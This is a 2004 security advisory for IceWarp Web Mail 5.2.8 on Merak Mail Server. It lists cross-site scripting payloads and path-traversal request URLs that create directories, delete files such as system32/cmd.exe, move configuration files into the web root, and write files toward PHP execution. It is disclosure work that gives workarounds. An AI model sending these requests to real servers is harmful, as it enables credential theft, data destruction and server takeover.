icewarpWebmail528.txt

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TITLE: Multiple vulnerabilities in Icewarp Web Mail 5.2.8 : New face of old problems.  
  
BACKGROUND  
  
Merak Mail Server, with the revolutionary Merak Mail Server GroupWare Server, cutting-edge Merak Mail Server Instant Antispam and much more, is the fastest, most stable, secure and 100% virus free mail server on the market today.   
Every day companies choose Merak Mail Server's stability, speed, security, functionality, scalability and multi-tiered delegated manageability over products costing thousands of dollars more yet lacking the sophistication that Merak delivers.  
In less than 10 minutes you can have the same professional email server that organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. Government, and many ISP Providers and Developers depend on every day.  
  
Source: www.MerakMailServer.com  
  
VULNERABLE PRODUCTS  
  
MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8  
MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 (vulnerabilities #3, #4 only)  
  
DETAILS  
  
1. Multiple cross-site scripting (XSS) vulnerabilities.  
  
Description: Remote user, who HAS active session on Merak Mail Server, can execute cross-site scripting (XSS) attack.  
  
Vulnerable pages:  
send.html  
attachment.html  
folderitem.html  
  
Examples:  
http://localhost:32000/mail/send.html?id=[sessionid]&redirectfile="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Folder="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Message="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&xwritesentcopy="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&returnreceipt="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&forwardfile="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&writepriority="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&copyfolder="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/send.html?id=[sessionid]&messageid="><script>alert(document.cookie)</script>  
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_error=<script>alert(document.cookie)</script>  
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_title=</title><script>alert(document.cookie)</script>  
http://localhost:32000/mail/folderitem.html?id=[sessionid]&folderold="><script>alert(document.cookie)</script> (“Outlook like” skins are not vulnerable)  
  
2. Arbitrary direction creation on remote system.  
  
Description: Remote user, who HAS active session on Merak Mail Server, can create arbitrary directories on local file system of the target.  
  
Vulnerable page: viewaction.html  
  
Example:  
http://localhost:32000/mail/viewaction.html?id=[sessionid]&folder=../../../../../../../[arbitary directory]&Move_x=1&originalfolder=blabla  
  
Note: single logical drive on remote system is affected because relative paths are used  
  
3. Simple encryption of users passwords.  
  
Description: Very simple encryption of users passwords in users.cfg, settings.cfg (XOR), users.dat, user.dat (BASE64). If attacker got access to this files then he could take users and administrators passwords.  
  
Vulnerable files:  
  
[MerakDir] \config\settings.cfg  
[MerakDir] \config\ [DomainName] \users.cfg  
[MerakDir] \webmail\config\users.dat  
[MerakDir] \webmail\users\ [DomainName] \ [UserName] \user.dat  
  
Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to it.  
  
4. File creation with arbitrary content on remote system.  
  
Description: Remote user, who HAS active session on Merak Mail Server, can create text file on Merak Mail Server with arbitrary content (include special characters). Name of file will be accounts.dat. Combining this vulnerability with vulnerability #7 attacker could executed arbitrary PHP code.  
  
Vulnerable page: accountsettings_add.html   
  
Example:  
http://localhost:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[arbitary text]  
  
Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to it.  
  
5. Arbitrary files deletion on remote system.  
  
Description: Remote user, who HAS active session on Merak Mail Server, can delete arbitrary files on local file system of the target. It could be used for deleting arbitary data on an affected system or causing denial of service (DOS) conditions.  
  
Vulnerable pages: viewaction.html  
  
Example:  
http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=...//...//...//...//…//…//…//winnt/system32/cmd.exe&action=delete&originalfolder=blabla  
  
Note: single logical drive on remote system is affected because relative paths are used  
  
6. Moving arbitrary files or directories on remote system.  
  
Description: Remote user, who HAS active session on Merak Mail Server, can moving arbitrary files or directories on local file system of the target. It could be used for causing denial of service (DOS) conditions or access to arbitrary files on affected system.  
  
Vulnerable page: viewaction.html  
  
Example:  
http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=...//...//...//...//config/settings.cfg&Move_x=1&originalfolder=blabla&folder=../../../html/mail  
  
Note: single logical drive on remote system is affected because relative paths are used  
  
7. Renaming arbitrary files or directories on remote system.  
  
Description: Remote user, who HAS active session on Merak Mail Server, can renaming arbitrary files or directories on local file system of the target. Moving files or directories also possible. It could be used for causing denial of service (DOS) conditions or access to arbitrary files on affected system.  
  
Vulnerable page: folders.html  
  
Example:  
http://localhost:32000/mail/folders.html?id=[sessionid]&folderold=blabla/...//...//...//...//config/settings.cfg&folder=blabla/...//...//...//...//config/settings.html&Save_x=1  
  
Note: single logical drive on remote system is affected because relative paths are used  
  
EXPLOITATION  
  
IceWarp Web Mail (CONTROL service) must be running on Merak Mail Server (default ENABLE). User account on Merak Mail Server is needed.  
  
WORKAROUND  
  
Upgrade to MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 or disable Icewarp Web Mail service (Control.exe).  
  
VENDOR STATUS  
  
Not contacted.  
  
SUMMARY  
  
An attacker who successfully exploited vulnerabilities described in this report could take complete control of a Merak Mail Server 7.5.2 or an affected remote system. Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 also vulnerable to other (undescribed in this report) critical vulnerabilities. An attacker who successfully exploited of this undescribed vulnerabilities could take complete control of a Merak Mail Server or an affected remote system. I’m not advice to use this product, you must disable Icewarp Web Mail service.   
  
CREDITS  
  
ShineShadow, undependent computer security expert.   
To get more information, please contact me by e-mail.  
  
05.11.2004  
ShineShadow,  
[email protected]  
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